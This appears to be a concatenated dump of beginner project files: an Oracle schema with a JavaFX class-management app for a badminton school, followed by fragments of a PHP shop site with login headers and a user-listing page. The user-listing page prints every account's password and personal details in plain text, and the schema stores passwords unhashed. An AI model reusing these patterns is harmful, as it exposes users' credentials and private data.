a_come VARCHAR2(15) not null, --출석여부
a_day VARCHAR2(20) DEFAULT SYSDATE , --출석날짜
s_code number, --수업코드
foreign key(s_code) references student(s_code),
primary key(a_no)
);
create table student( --학생
S_code number(2),--학생코드
S_name VARCHAR2(16) not null, --학생이름
S_year number(2) not null, --학년
S_ban number(2) not null, --반
S_number number(2) not null,--출석번호
S_gender VARCHAR2(16) not null, --성별
S_phone VARCHAR2(16) not null, --본인휴대폰
S_emergency VARCHAR2(16) not null, --비상연락망
S_costfree VARCHAR2(16) not null, --유료무료
S_time number(1) not null, --수업시간
S_experience VARCHAR2(10) not null, --본인경험
S_level VARCHAR2(10) not null, --레벨
S_startdate VARCHAR2(10) not null, --시작일
S_enddate VARCHAR2(30) not null, --종료일
S_email VARCHAR2(30) not null, --부모님이메일
S_image VARCHAR2(100) ,--이미지
s_come NUMBER(2), --학생 출석 여부
primary key(s_code)
);
create table teacher( --선생님
t_code NUMBER(2), --선생님 코드
t_name VARCHAR2(7) not null, --선생님이름
t_subject varchar2(10) not null, --담당과목
t_id varchar2(6) not null,
t_pw varchar2(8) not null,
primary key(t_code)
);
create table badmintonplay( --수업
c_code NUMBER(2), --수업 코드
s_code NUMBER(2), --학생 코드
t_code NUMBER(2), --선생님 코드
c_day varchar2(20) DEFAULT sysdate, --수업요일
c_level varchar2(20) not null,--수업 레벨
c_time varchar2(30) not null,--수업 시간
c_content varchar2(30) not null, --수업내용
foreign key(s_code) references student(s_code),
foreign key(t_code) references teacher(t_code),
primary key(c_code)
);
--시퀀스
create sequence badmintonplay_seq --수업
start with 1
increment by 1;
create sequence attendane_seq --출석부
start with 1
increment by 1;
create sequence student_seq --학생
start with 1
increment by 1;
<file_sep>package controller;
import java.io.IOException;
import java.net.URL;
import java.time.LocalDate;
import java.util.ArrayList;
import java.util.ResourceBundle;
import Model.BadmintonplayVO;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.fxml.FXMLLoader;
import javafx.fxml.Initializable;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Alert;
import javafx.scene.control.Button;
import javafx.scene.control.DatePicker;
import javafx.scene.control.TableColumn;
import javafx.scene.control.TableView;
import javafx.scene.control.TextField;
import javafx.scene.control.Alert.AlertType;
import javafx.scene.control.cell.PropertyValueFactory;
import javafx.scene.input.KeyCode;
import javafx.scene.input.KeyEvent;
import javafx.scene.input.MouseEvent;
import javafx.stage.Stage;
public class CheckTabController implements Initializable {
@FXML
private DatePicker dpDate;// 날짜
@FXML
private TextField txtLevel;// 레벨
@FXML
private TextField txtTime;// 시간
@FXML
private TextField txtContent;// 수업 내용
@FXML
private Button btnCheck;// 저장(확인)
@FXML
private Button btnDelete;// 삭제
@FXML
private Button btnExit;// 종료
@FXML
private TableView<BadmintonplayVO> tableView = new TableView<BadmintonplayVO>();
BadmintonplayVO badmintonplay = new BadmintonplayVO();
ObservableList<BadmintonplayVO> data = FXCollections.observableArrayList();
ObservableList<BadmintonplayVO> selectbadmintonplay;// 테이블에서 선택한 정보 저장
int selectedindex;// 테이블에서 선택한 학생 정보 인덱스 저장
int c_code;// 삭제시 테이블에서 선택한 수업의 번호 저장
@Override
public void initialize(URL arg0, ResourceBundle arg1) {
dpDate.setValue(LocalDate.now());// 오늘날짜 설정
btnCheck.setDisable(false);//등록 버튼 활성화
btnDelete.setDisable(false);//삭제 버튼 활성화
//키 이벤트
txtLevel.setOnKeyPressed(event->handlerTxtLevelKeyPressed(event));
txtTime.setOnKeyPressed(event->handlerTxtTimeKeyPressed(event));
txtContent.setOnKeyPressed(event->handlerTxtContentKeyPressed(event));
// 버튼 이벤트
btnExit.setOnAction(event -> handlerBtnExitActoion(event)); // 종료->메인창이동
btnDelete.setOnAction(event -> handlerBtnDeleteAction(event)); // 삭제
tableView.setOnMouseClicked(event -> handlerBtnPieChartAction(event));// 테이블 학생의 선택
// 수업선택
selectedindex = tableView.getSelectionModel().getSelectedIndex();
// 테이블 뷰 수정금지!
tableView.setEditable(false);
// 테이블 뷰 컬럼이름
TableColumn colc_code = new TableColumn("No");
colc_code.setMaxWidth(40);
colc_code.setCellValueFactory(new PropertyValueFactory<>("c_code"));
TableColumn colc_day = new TableColumn("수업날짜");
colc_day.setMaxWidth(200);
colc_day.setCellValueFactory(new PropertyValueFactory<>("c_day"));
TableColumn colc_level = new TableColumn("수업레벨");
colc_level.setMaxWidth(70);
colc_level.setCellValueFactory(new PropertyValueFactory<>("c_level"));
TableColumn colc_time = new TableColumn("수업시간");
colc_time.setMaxWidth(120);
colc_time.setCellValueFactory(new PropertyValueFactory<>("c_time"));
TableColumn colc_content = new TableColumn("수업내용");
colc_content.setMaxWidth(200);
colc_content.setCellValueFactory(new PropertyValueFactory<>("c_content"));
tableView.getColumns().addAll(colc_code, colc_day, colc_level, colc_time, colc_content);
// 수업 전체
totalList();
tableView.setItems(data);
//버튼 등록 이벤트
btnCheck.setOnAction(event -> {
try {
data.removeAll(data);
BadmintonplayVO bdvo = null;
BadmintonplayDAO bddao = new BadmintonplayDAO();
//입력이 안되었을때 오류
if(txtLevel.getText().trim().equals("")||txtTime.getText().trim().equals("")||
txtContent.getText().trim().equals("")) {
Alert alert = new Alert(AlertType.WARNING);
alert.setTitle("입력 실패");
alert.setHeaderText("수업 등록 실패");
alert.setContentText("수업 등록 자세히 보세요!!");
alert.showAndWait();
data.removeAll(data);
// 전체정보
totalList();
}else {
//회원정보 등록
if (event.getSource().equals(btnCheck)) {
bdvo = new BadmintonplayVO(txtLevel.getText().trim(), txtTime.getText().trim(), txtContent.getText().trim());
bddao = new BadmintonplayDAO();
bddao.getBadminton(bdvo);
if (bdvo != null) {
totalList();
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("입력");
alert.setHeaderText("수업 등록 성공");
alert.setContentText("수업 등록 성공!!");
alert.showAndWait();
txtLevel.clear();
txtTime.clear();
txtContent.clear();
txtLevel.setEditable(true);
txtTime.setEditable(true);
txtContent.setEditable(true);
data.removeAll(data);
// 전체정보
totalList();
}
}
}
} catch (Exception e) {
Alert alert = new Alert(AlertType.WARNING);
alert.setTitle("수업 입력");
alert.setHeaderText("수업 등록 실패");
alert.setContentText("수업 등록 실패!!");
alert.showAndWait();
txtLevel.setEditable(true);
txtTime.setEditable(true);
txtContent.setEditable(true);
data.removeAll(data);
// 전체정보
totalList();
}
});
}
//텍스트키 이벤트
public void handlerTxtContentKeyPressed(KeyEvent event) {
if(event.getCode()==KeyCode.ENTER) {
btnCheck.requestFocus();
}
}
public void handlerTxtTimeKeyPressed(KeyEvent event) {
if(event.getCode()==KeyCode.ENTER) {
txtContent.requestFocus();
}
}
public void handlerTxtLevelKeyPressed(KeyEvent event) {
if(event.getCode()==KeyCode.ENTER) {
txtTime.requestFocus();
}
}
// 테이블 뷰 마우스 이벤트 핸들러
public void handlerBtnPieChartAction(MouseEvent event) {
// 마우스 왼쪽 더블 클릭 카운트면 2를 반환
// 마우스 왼쪽 클릭이면 수정 삭제
if (event.getClickCount() != 2) {
try {
selectbadmintonplay = tableView.getSelectionModel().getSelectedItems();//tableView에있는 여러 데이터들중에 하나를 선택함.
c_code = selectbadmintonplay.get(0).getC_code();
} catch (Exception e) {
Alert alert = new Alert(AlertType.WARNING);
alert.setTitle("수업 선택");
alert.setHeaderText("수업 선택이 없습니다.");
alert.setContentText("수업 선택을 먼저 해주세요!");
alert.showAndWait();
}
return;
}
}
//삭제
public void handlerBtnDeleteAction(ActionEvent event) {
BadmintonplayDAO bdao = null;
bdao = new BadmintonplayDAO();
try {
bdao.getBadmintonDelete(c_code);
data.removeAll(data);
// 전체정보
totalList();
} catch (Exception e) {
e.printStackTrace();
}
}
//수업 저장 전체
public void totalList() {
Object[][] totalData;// totalData를 2차배열로 선언
BadmintonplayDAO bddao = new BadmintonplayDAO();
BadmintonplayVO bdvo = null;
ArrayList<String> title; //title 배열선언
ArrayList<BadmintonplayVO> list; //list 배열선언
title = bddao.getColumName();
int columCount = title.size();
list = bddao.getbadmintonplayTotal();
int rowCount = list.size();
totalData = new Object[rowCount][columCount];//2차배열 인스턴스화
for (int index = 0; index < rowCount; index++) {
bdvo = list.get(index);
data.add(bdvo);
}
}
// 종료버튼 액션(누르면->메인창으로 이동)
public void handlerBtnExitActoion(ActionEvent event) {
try {
FXMLLoader loader = new FXMLLoader(getClass().getResource("/view/mainView.fxml"));
//메인뷰(학생등록창으로 이동한다)
Parent mainView = (Parent) loader.load();
Scene scane = new Scene(mainView);
Stage mainMtage = new Stage();
Stage oldStage = (Stage) btnExit.getScene().getWindow();
oldStage.close();
mainMtage.setScene(scane);
mainMtage.show();
} catch (IOException e) {
System.err.println("오류 " + e);
}
}
}
<file_sep>package controller;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.util.ArrayList;
import Model.BadmintonplayVO;
import javafx.scene.control.Alert;
import javafx.scene.control.Alert.AlertType;
public class BadmintonplayDAO {
//데이터베이스에서 수업 테이블의 컬럼갯수
public ArrayList<String> getColumName() {
ArrayList<String> columName=new ArrayList<String>();
StringBuffer sql = new StringBuffer();
sql.append("select * from badmintonplay"); // 수업테이블 불러오는 sql문
Connection con =null;
PreparedStatement pstmt =null;
ResultSet rs=null;
//resultsetmetData 객체선언
ResultSetMetaData rsmd=null;
try {
con=DBUtil.getConnection();//DButil 연결
pstmt=con.prepareStatement(sql.toString());
rs =pstmt.executeQuery();//결과물을 rs객체를 통해서 변환한다.
rsmd= rs.getMetaData();
int cols = rsmd.getColumnCount();
for(int i=1; i<=cols; i++) {
columName.add(rsmd.getColumnName(i));
}
}catch(SQLException se) {
System.out.println(se);
}catch(Exception e) {
System.out.println(e);
}finally {
try {
if(rs!=null)
rs.close();
if(pstmt!=null)
pstmt.close();
if(con!=null)
con.close();
}catch(SQLException se) {
}
}
return columName;
}
//전체
public ArrayList<BadmintonplayVO> getbadmintonplayTotal() {
ArrayList<BadmintonplayVO> list =new ArrayList<BadmintonplayVO>();
StringBuffer sql = new StringBuffer();
//테이블에 표시할 sql문
sql.append("select C_code, C_day, C_level, C_time, C_content from badmintonplay");
Connection con = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
BadmintonplayVO bdvo =null;
try {
con=DBUtil.getConnection();//DButil에 연결시킨다.
pstmt = con.prepareStatement(sql.toString());
rs=pstmt.executeQuery();//결과물을 rs객체를 통해서 변환한다.
while(rs.next()) {
bdvo = new BadmintonplayVO();//bdvo 인스턴스화
bdvo.setC_code(rs.getInt("C_code"));
bdvo.setC_day(rs.getString("C_day"));
bdvo.setC_level(rs.getString("C_level"));
bdvo.setC_time(rs.getString("C_time"));
bdvo.setC_content(rs.getString("C_content"));
list.add(bdvo);
}
}catch(SQLException se) {
System.out.println(se);
}catch(Exception e) {
System.out.println(e);
}finally {
try {
if(rs!=null)
rs.close();
if(pstmt!=null)
pstmt.close();
if(con!=null)
con.close();
}catch(SQLException se) {
}
}
;
return list;
}
//수업 등록
public BadmintonplayVO getBadminton(BadmintonplayVO bdvo) throws Exception{
//데이터 처리 sql문
StringBuffer sql = new StringBuffer();
//정보를 테이블에 삽입하는 sql문
sql.append("insert into badmintonplay");
sql.append("(C_code, C_day, C_level, C_time, C_content)");
sql.append(" values(badmintonplay_seq.nextval, sysdate, ?, ?, ?)");
Connection con =null;
PreparedStatement pstmt=null;
BadmintonplayVO retval=null;
try {
con= DBUtil.getConnection();//DButil연결
pstmt=con.prepareStatement(sql.toString());
pstmt.setString(1, bdvo.getC_level());
pstmt.setString(2, bdvo.getC_time());
pstmt.setString(3, bdvo.getC_content());
//sql문을 수행후 처리 결과를 얻어옴
int i = pstmt.executeUpdate();
retval = new BadmintonplayVO();
}catch(SQLException e) {
System.out.println("e1=["+e+"]");
}catch(Exception e) {
System.out.println("e2=["+e+"]");
e.printStackTrace();
}finally {
try {
//6 데이터베이스와의 연결에 사용되었던 오브젝트를 해제
if(pstmt!=null)
pstmt.close();
if(con!=null)
con.close();
}catch(SQLException e) {
}
}
return retval;
}
//삭제
public void getBadmintonDelete(int c_code) throws Exception{
// 데이터 처리를 위한 sql문
StringBuffer sql= new StringBuffer();
//삭제 sql문
sql.append("delete from badmintonplay where c_code = ?");
Connection con=null;
PreparedStatement pstmt=null;
try {
//DButil이라는 클래스의 getConnection()메서드로 데이터베이스와 연결
con=DBUtil.getConnection();
//sql문을 수행한후 처리 결과를 얻어옴
pstmt=con.prepareStatement(sql.toString());
pstmt.setInt(1,c_code);
int i=pstmt.executeUpdate();//행의 수를 반환한다.
if(i==1) {
Alert alert =new Alert(AlertType.INFORMATION);
alert.setTitle("수업 삭제");
alert.setHeaderText("수업 삭제완료.");
alert.setContentText("학생 삭제 성공!!");
alert.showAndWait();
}else {
Alert alert =new Alert(AlertType.WARNING);
alert.setTitle("수업 삭제");
alert.setHeaderText("수업 삭제 실패.");
alert.setContentText("학생 삭제 실패!!");
alert.showAndWait();
}
}catch(SQLException e) {
System.out.println("e=["+e+"]");
}catch(Exception e) {
System.out.println("e=["+e+"]");
}finally {
try {
//데이터베이스와의 연결에 사용되었던 오브젝트를 해제
if(pstmt!=null)
pstmt.close();
if(con!=null)
con.close();
}catch (SQLException e) {
}
}
}
}
| b4b59bd4f0b64bcbc821ff6b4959fe40ddffaf8e | [
"Java",
"SQL",
"INI"
] | 9 | Java | Simjeongmin/jeongmin4069 | cafb4bbf317467d15aab3fc79aa084f47f1ad569 | 43b6386726e8e71b5fe1303d4cada98ee78cfee0 |
refs/heads/master | <file_sep>class HighScores
def initialize (scores)
@scores = scores
end
def scores
@scores
end
def latest
@scores.last
end
def personal_best
@scores.reduce {|largest, num| if num > largest then num else largest end}
end
def personal_top_three
sorted_scores = @scores.sort { |a, b| b <=> a }
sorted_scores[0, 3]
end
def latest_is_personal_best?
if latest == personal_best
true
else
false
end
end
end | e146af3d5bb19e94c0ac01b11670d5478b9eabe3 | [
"Ruby"
] | 1 | Ruby | Preston-Jake/high-scores | 36c4ad1bde466fc45416198574f50209fa31f859 | 870ee56427cda090b37fb7823f717d6624c20186 |
refs/heads/master | <repo_name>NoelAlgora/SO-Examenes-Variables-condicionales<file_sep>/2013 Feb/solucion.c
#define REPONER_P 5
#define REPONER_B 5
pthread_mutex_t mutex;
pthread_cond_t cond;
int count_B = 0;
int count_P = 0;
int main() {
pthread_mutex_init(&mutex, NULL);
pthread_cond_init (&cond, NULL);
//SE CREAN LOS HILOS Y EJECUCION DEL PROGRAMA
pthread_mutex_destroy(&mutex);
pthread_cond_destroy(&cond);
}
Bocadillos() {
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while (1) {
while(count_B != 0) //Espera a que un alumno le avise
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
count_B = REPONER_B; //Repone P bocadillos
pthread_cond_broadcast(&cond); //Despertamos a todos
}
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}
Bebidas() {
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while (1) {
while(count_P != 0) //Espera a que un alumno le avise
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
/* Espera a que un alumno le avise para reponer? Podemos bloquearnos a la espera
de una llamada simplemente usamos un do while
do
{
pthread_cond_wait(&cond, &mutex);
} while(count_P != 0)
*/
count_P = REPONER_P; //Repone B bebidas
pthread_cond_broadcast(&cond); //Despertamos a todos
}
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}
void Alumno() {
while (1) {
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while(count_P == 0) // Si no hay bocadillos, avisa a cocinero (y espera)
{
pthread_cond_broadcast(&cond); //Despertamos a todos para buscar al reponedor... Despertar solo al de los bocadillos? Dos variables condicionales
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
}
count_P--; // Coge un bocadillo
while(count_B == 0) // Si no hay bebidas, avisa a cocinero (y espera)
{
pthread_cond_broadcast(&cond); //Despertamos a todos para buscar al reponedor...
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
}
count_B--; // Coge una bebida
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
comer();
}
}<file_sep>/src.c
//VARIABLE CONDICIONALES
int pthread_cond_init(pthread_cond_t* cond, pthread_condattr_t* attr);
int pthread_cond_destroy(pthread_cond_t *cond);
int pthread_cond_signal(pthread_cond_t *cond);
int pthread_cond_broadcast(pthread_cond_t *cond);
int pthread_cond_wait(pthread_cond_t* cond, pthread_mutex_t* mutex);
//MUTEX
int pthread_mutex_init(pthread_mutex_t *mutex, pthread_mutexattr_t *attr);
int pthread_mutex_destroy(pthread_mutex_t *mutex);
int pthread_mutex_lock(pthread_mutex_t *mutex);
int pthread_mutex_unlock(pthread_mutex_t *mutex);<file_sep>/2015 Sep/solucion.c
#define N 32
int count = 0;
int turno_salida_glob = 0; //Podriamos usar el mismo count y reiniciarlo en
//el if(count == N) a 0 la pongo para que se vea mas claro
pthread_mutex_t mutex;
pthread_cond_t cond;
int main() {
pthread_mutex_init(&mutex, NULL);
pthread_cond_init (&cond, NULL);
pthread_mutex_destroy(&mutex);
pthread_cond_destroy(&cond);
}
void monje(){
int turno_salida;
while(1){
//labor_en_cuestion
turno_salida=entrar_comedor_y_sentarse();
//comer
salir_comedor(turno_salida);
}
}
int entrar_comedor_y_sentarse(){
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
int turno_propio = count; //Guardamos nuestro puesto
count++; //Sumamos 1 a la cola
while (count != N) //Esperamos a todos
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
if(count == N) //Si estan todos despertamos a los demas
pthread_cond_broadcast(&cond);
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
return turno_propio; //Devolvemos nuestro puesto de llegada (empezando desde 0)
}
void salir_comedor(int turno_salida){
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while(turno_salida != turno_salida_glob)
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
turno_salida_glob++; //Sumamos 1 a la cola
pthread_cond_broadcast(&cond); //Es nuestro turno, despertamos a los demas
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}<file_sep>/2015 Feb/solucion.c
#define TIPOS_PIZZA 2
#define REPONER_PIZZAS 5
int pizza[TIPOS_PIZZA] = {0};
pthread_mutex_t mutex;
pthread_cond_t cond;
int main() {
pthread_mutex_init(&mutex, NULL);
pthread_cond_init (&cond, NULL);
pthread_mutex_destroy(&mutex);
pthread_cond_destroy(&cond);
}
/* Tipo pizza = (0) peperoni, (1) margarita */
void Cliente(int tipoPizza){
while (true) {
conseguirPizza(tipoPizza);
comer();
}
}
void Camarero(){
while (true) {
servirPizzas();
}
}
void conseguirPizza(int tipoPizza){
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while(pizza[tipoPizza] == 0) //Si no queda de nuestra pizza despertamos a todos para buscar al camarero y esperamos
{
pthread_cond_broadcast(&cond);
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
}
retirarPizzaBuffet(tipoPizza); // Suponemos que hace pizza[tipoPizza]--;
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}
void servirPizzas(){
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while (pizza[0] != 0 && pizza[1] != 0) //Mientras hay pizzas esperamos
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
if(pizza[0] == 0) //Reponemos
reponerPizzas(REPONER_PIZZAS, 0);
if(pizza[1] == 0)
reponerPizzas(REPONER_PIZZAS, 1);
pthread_cond_broadcast(&cond); //Despertamos a todos los clientes
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}<file_sep>/2013 Feb/solucion2.c
/***************
Solucion con doble variable condicional para separar bebidas y bocadillos
****************/
#define REPONER_P 5
#define REPONER_B 5
pthread_mutex_t mutex;
pthread_cond_t cond1;
pthread_cond_t cond2;
int count_B = 0;
int count_P = 0;
int main() {
pthread_mutex_init(&mutex, NULL);
pthread_cond_init (&cond1, NULL);
pthread_cond_init (&cond2, NULL);
//SE CREAN LOS HILOS Y EJECUCION DEL PROGRAMA
pthread_mutex_destroy(&mutex);
pthread_cond_destroy(&cond1);
pthread_cond_destroy(&cond2);
}
// Separamos los bocadillos en cond1 y las bebidas en cond2 de esta forma podemos invocar
// a los reponedores de forma independiente, pero seguimos usando el mismo mutex con las
// dos variables condicionales para asegurar la exclusion
Bocadillos() {
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while (1) {
do //Esta vez vamos a esperar que nos avise sino no reponemos
{
pthread_cond_wait(&cond1, &mutex);
} while(count_B != 0)
count_B += REPONER_B; //Repone P bocadillos
pthread_cond_broadcast(&cond1); //Despertamos a todos
}
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}
Bebidas() {
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while (1) {
do //Esta vez vamos a esperar que nos avise sino no reponemos
{
pthread_cond_wait(&cond2, &mutex);
} while(count_P != 0)
count_P += REPONER_P; //Repone B bebidas
pthread_cond_broadcast(&cond2); //Despertamos a todos
}
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}
void Alumno() {
while (1) {
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while(count_P == 0) // Si no hay bocadillos, avisa a cocinero (y espera)
{
pthread_cond_broadcast(&cond1); //Despertamos a los reponedores de bocadillos
pthread_cond_wait(&cond1, &mutex); /*bloqueo*/
}
count_P--; // Coge un bocadillo
while(count_B == 0) // Si no hay bebidas, avisa a cocinero (y espera)
{
pthread_cond_broadcast(&cond2); //Despertamos a los reponedores de bebidas
pthread_cond_wait(&cond2, &mutex); /*bloqueo*/
}
count_B--; // Coge una bebida
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
comer();
}
}<file_sep>/README.md
# SO-Examenes-Variables-condicionales
Exámenes resueltos de Sistemas operativos con variables condicionales y mutex
<file_sep>/2017 Feb/solucion.c
// N EQUIPOS DE 1 COCHE
#define N 4
int depositos[N] = {0}; //Litros en los depositos
pthread_mutex_t mutex;
pthread_cond_t cond;
int main() {
pthread_mutex_init(&mutex, NULL);
pthread_cond_init (&cond, NULL);
pthread_mutex_destroy(&mutex);
pthread_cond_destroy(&cond);
}
void mecanico1(int equipo){
while(true){
esperar_llegada_coche(equipo);
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while(depositos[equipo] == 0)
{
pthread_cond_broadcast(&cond); //Desbloqueamos la variable condicional
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
}
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
llenar_depósito_coche(L,equipo); //Podemos desbloquear? Operaciones no protegidas
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
if(depositos[equipo] == 0)
pthread_cond_broadcast(&cond);
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}
}
void mecánico2(int equipo){
while(true){
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while (depositos[equipo] != 0)
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
llenar_depósito_surtidor(M,equipo);
pthread_cond_broadcast(&cond);
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}
}<file_sep>/2018 Feb/solucion.c
// 8 EQUIPOS DE 4 -> 32 NADADORES
#define N 32
//Equipo nº id_nadador / 4
//Turno id_nadador % 4
int team_turn[8] = {0}; //Relevo de los equipos
int count = 0; //Contador para esperar a todos
int turno_llegada = 0; ; //Podriamos usar el mismo count y reiniciarlo en
//el if(count == N) a 0 la pongo para que se vea mas claro
pthread_mutex_t mutex;
pthread_cond_t cond;
int main() {
pthread_mutex_init(&mutex, NULL);
pthread_cond_init (&cond, NULL);
pthread_mutex_destroy(&mutex);
pthread_cond_destroy(&cond);
}
void nadador(int id_nadador){
begin_race(id_nadador);
swim(id_nadador);
notify_arrival(id_nadador);
}
void begin_race(int id_nadador){
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
count++; //Sumamos 1 a la cola
//Equipo nº id_nadador / 4
//Turno id_nadador % 4
//Esperamos a todos y despues al turno
while (count != N || team_turn[id_nadador / 4] != (id_nadador % 4))
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
if(count == N) //Si estan todos despertamos a los demas
pthread_cond_broadcast(&cond);
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}
void notify_arrival(int id_nadador){
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
if((id_nadador % 4) == 3) //Si somos el ultimo hemos ganado
{
turno_llegada++;
printf ("El equipo %i ha llegado en posicion %i\n", id_nadador / 4, turno_llegada); //++turno_llegada?
}
else //Sino pasamos el relevo y despertamos a los demas
{
team_turn[id_nadador / 4]++;
pthread_cond_broadcast(&cond);
}
pthread_mutex_unlock(&mutex);
}<file_sep>/2014 Sep/solucion.c
#define N 2
int num_libres = N;
pthread_mutex_t mutex;
pthread_cond_t cond;
sem_t surtidores;
int main() {
pthread_mutex_init(&mutex, NULL);
pthread_cond_init (&cond, NULL);
/**/
pthread_mutex_destroy(&mutex);
pthread_cond_destroy(&cond);
//Para semaforos
sem_init(&surtidores, 0, N);
/**/
sem_destroy(&surtidores);
}
void cliente(int dinero){
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
while (num_libres == 0) //Esperamos a un surtidor
pthread_cond_wait(&cond, &mutex); /*bloqueo*/
num_libres--;
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
ServirCombustible(surtidor,dinero); //Nos servimos
pthread_mutex_lock(&mutex); //Bloqueamos el mutex
num_libres++; //Liberamos el surtidor
pthread_cond_signal(&cond);
pthread_mutex_unlock(&mutex); //Desbloqueamos el mutex
}
//Semaforos
void cliente(int dinero){
sem_wait(&surtidores); //Esperamos a un surtidor
ServirCombustible(surtidor,dinero); //Nos servimos
sem_post(&surtidores);
} | fa7f21f649e43d7e6ec50aaee673f43cedfbc880 | [
"Markdown",
"C"
] | 9 | C | NoelAlgora/SO-Examenes-Variables-condicionales | 3e8b3ed2649ccfc6643c5d95d279d9be7cd189f8 | 58c160bdf71c6079079e00735a4f27751afc2c8e |
refs/heads/master | <repo_name>eliotrhys/week_07_day_1_homework<file_sep>/src/main/java/Vehicle.java
public abstract class Vehicle {
String type;
int healthValue;
public Vehicle(String type, int healthValue){
this.type = type;
this.healthValue = healthValue;
}
public int getHealthValue() {
return healthValue;
}
public void setHealthValue(int healthValue) {
this.healthValue = healthValue;
}
}
<file_sep>/src/main/java/Wallace.java
public class Wallace extends Kaiju {
public Wallace(String name, int healthValue, int attackValue){
super(name, healthValue, attackValue);
}
public String fly(){
return "FLYEEEEE!";
}
}
| 73f0f87807190783881d88e59f421c90f590f073 | [
"Java"
] | 2 | Java | eliotrhys/week_07_day_1_homework | 01acd960022886e98fc479d619e1fd4cfcca1219 | d67af997bcf82f97e59b07a96178e835e1aed2fd |
refs/heads/master | <file_sep><div id="success_login" style="float: right;padding-right: 10px;width: auto;">
<table style="border-collapse: collapse;">
<tr>
<td style="font-size: 14px;font-family: 'Lucida Grande', Tahoma, Arial, Helvetica, sans-serif;"><b>ยินดีต้อนรับ (USER) : </b></td>
<td id="headeruser"><?=$_SESSION['username'] ?></td>
<td id="headermenu"><b>ตะกร้าสินค้า</b></td>
<td id="headermenu"><b>ประวัติการสั่งซื้อ</b></td>
<td id="headermenu"><b>แก้ไขข้อมูล</b></td>
<td><button id="logout_btn" onclick="location='../sql_db/logout.php'">Logout</button></td>
</tr>
</table>
</div><file_sep><!--<html>-->
<!--<head>-->
<!-- <title></title>-->
<!-- <meta charset="utf-8">-->
<!--</head>-->
<!--<body>-->
<!-- --><?//
// include "../sql_db/connect.php";
// $sql = "SELECT * FROM product ORDER BY id_prd";
// $query = mysqli_query($link,$sql);
// while($row = mysqli_fetch_array($query)){
// ?>
<!---->
<!-- <tr>-->
<!-- <td>-->
<?//
// echo $row[name_prd];
//?>
<!-- </td>-->
<!-- <td>-->
<?//
// echo $row[detail];
//?>
<!-- </td>-->
<!-- <td>-->
<?//
// echo $row[price];
//?>
<!-- </td>-->
<!-- </tr>-->
<?//
// }
// ?>
<!--</body>-->
<!--</html>--><file_sep><div id="success_login" style="float: right;padding-right: 10px;width: auto;">
<table style="border-collapse: collapse;">
<tr>
<td style="font-size: 14px;font-family: 'Lucida Grande', Tahoma, Arial, Helvetica, sans-serif;"><b>สวัสดี (Admin) : </b></td>
<td id="headeruser"><?=$_SESSION['username'] ?></td>
<td id="headermenu"><b>จัดการสินค้า</b></td>
<td id="headermenu"><b>จัดการสมาชิก</b></td>
<td id="headermenu"><b>ตรวจเช็คประวัติ</b></td>
<td id="headermenu"><b>สินค้าส่งเคลม</b></td>
<td id="headermenu"><a href="configuser.php"><b>แก้ไขข้อมูล</b></a></td>
<td><button id="logout_btn" onclick="location='../sql_db/logout.php'">Logout</button></td>
</tr>
</table>
</div><file_sep><? include"../sql_db/connect.php";
$sql = "SELECT * FROM login ORDER BY username";
$query = mysqli_query($link,$sql);
mysql_query("SET NAMES 'utf8'");
while($row = mysqli_fetch_array($query)){
?>
<table>
<?
echo("<tr>");
echo("<td>$row[username]</td>");
echo("<td>$row[password]</td>");
echo("<td>$row[level]</td>");
echo("<td>$row[name_user]</td>");
echo("<td>$row[location]</td>");
echo("<td>$row[tel_user]</td>");
echo("<td>$row[zipcode]</td>");
echo("<td>$row[email]</td>");
echo("</tr>");
?>
</table>
<?
}
?><file_sep><?php
session_start();
echo 'test';
?>
<meta charset="UTF-8">
<html>
<head>
<script src="../jquery/jquery-1.4.1.min.js"></script>
<script src="../jquery/login.js"></script>
<link rel="stylesheet" href="../css/styles.css" media="screen">
<link rel="stylesheet" href="../css/menubar.css" media="screen">
<script src="../jquery/register.js"></script>
